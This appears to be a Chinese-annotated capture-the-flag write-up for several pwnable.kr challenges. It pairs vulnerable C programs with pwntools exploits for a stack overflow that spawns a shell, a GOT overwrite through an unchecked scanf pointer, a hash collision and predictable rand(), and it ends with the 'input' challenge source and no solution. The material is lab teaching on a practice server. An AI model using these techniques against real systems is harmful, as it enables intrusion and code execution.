char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234; //令fd==0即argv[1]==0x1234
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
EXP
s = ssh('fd', 'pwnable.kr', 2222, 'guest')
sh = s.process(['fd', '4660'])
sh.sendline('LETMEWIN')
print sh.recvall()
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){ //将输入的数分成五段,依次相加
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
EXP
s = ssh('col', 'pwnable.kr', 2222, 'guest')
code = p32(0x1DD905E8)+'\x01'*16 //之所以用\x01是因为\x00不能作为命令行参数
log.info(s.process(['col', code]).recvall())
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me! //此处存在栈溢出,可覆盖掉key
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
使用IDA查看栈结构
s= dword ptr -48h
----------------------------------------
lea eax, [ebp-2Ch] //overflowme为ebp-0x2C
mov dword ptr [esp+48h+s], eax
call gets
cmp dword ptr [ebp+8], 0CAFEBABEh //key为ebp+0x8
EXP
s = remote('pwnable.kr', 9000)
code = 'a'*52+p32(0xcafebabe) //0x2C+0x8 = 52
s.sendline(code)
s.sendline('cat flag')
log.info(s.recv())
查壳发现有UPX壳,脱壳
root@lilin:~/pwn# upx -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 380296 43.03% linux/amd64 flag
Unpacked 1 file.
查看main函数,发现flag
0x0000000000401184 <+32>: mov 0x2c0ee5(%rip),%rdx # 0x6c2070
-------------------
(gdb) x/s 0x00496628
0x496628: "UPX...? sounds like a delivery service :)"
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); //此处未加地址符号,故passcode1的值即为地址
fflush(stdin); //可以将passcode1理解为一个指针,如此便可以在数据段任意覆写
//可以覆写以下任何一个函数的GOT表地址
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : "); //在这里我们覆写printf的
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag"); //←覆写内容为此条语句的地址
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name); //welcome在login之前调用,两个函数先后使用同一个栈基址的栈帧
printf("Welcome %s!\n", name); //利用这里的scanf来操控passcode1的值
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
payload = 'A' * 0x60 //填充字符,由&passcode1减去&name得到
payload += p32(0x0804a000) //passcode1的值,这里用的是printf的GOT表的地址
s = ssh('passcode', 'pwnable.kr', 2222, 'guest')
io = s.process(['passcode'])
io.sendline(payload)
io.sendline(str(0x080485e3)) //将GOT表值覆写为call system指令的地址
print io.recvall()
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
计算机产生的随机数并不是真正的随机数,而是伪随机数,在C语言中,srand()被用来设置随机数种子,rand()则将种子经过一定的运算之后得到伪随机数,在种子相同的情况下,rand()的返回值也是相同的,在未设置种子的情况下会有一个默认的种子
int main(){
unsigned int random;
random = rand();
printf("%u", random ^ 0xdeadbeef);
return 0;
}
//----编译运行,得到结果3039230856-----
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}